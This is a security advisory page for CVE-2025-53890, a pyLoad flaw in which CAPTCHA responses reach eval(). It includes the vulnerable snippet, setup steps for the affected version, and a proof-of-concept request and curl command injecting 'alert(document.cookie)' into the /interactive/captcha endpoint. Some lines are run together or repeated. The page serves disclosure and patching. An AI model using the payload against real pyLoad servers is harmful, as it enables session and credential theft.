pyload-ng
Affected
- introduced
0, fixed0.20(ecosystem)
Fixed versions
0.20
Fix
- Fixed version
0.20pip install --upgrade pyload-ng==0.20
Advisory
Also known as: CVE-2025-53890, PYSEC-2026-496
pyLoad vulnerable to XSS through insecure CAPTCHA
Summary
An unsafe JavaScript evaluation vulnerability in pyLoad’s CAPTCHA processing code allows unauthenticated remote attackers to execute arbitrary code in the client browser and potentially the backend server. Exploitation requires no user interaction or authentication and can result in session hijacking, credential theft, and full system rce.
Details
The vulnerable code resides in
function onCaptchaResult(result) {
eval(result); // Direct execution of attacker-controlled input
}
onCaptchaResult() function directly passes CAPTCHA results (sent from the user) into eval()fetch() or child_process.exec() in environments using NodeJSReproduction Methods
git clone https://github.com/pyload/pyload
cd pyload
git checkout 0.4.20
python -m pip install -e .
pyload --userdir=/tmp/pyload
python -m venv pyload-env
source pyload-env/bin/activate
pip install pyload==0.4.20
pyload
CAPTCHA Endpoint Verification
Technical Clarification:
/interactive/captcha
POST /interactive/captcha HTTP/1.1
Host: localhost:8000
Content-Type: application/x-www-form-urlencoded
cid=123&response=1%3Balert(document.cookie)
curl -X POST "http://localhost:8000/interactive/captcha" \
-d "cid=123&response=1%3Balert(document.cookie)"
src/pyload/webui/app/static/js/captcha-interactive.user.js
Resources
Critical Basis: The source's own band: CRITICAL
0, fixed 0.20 (ecosystem)0.20
0.20pip install --upgrade pyload-ng==0.20Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0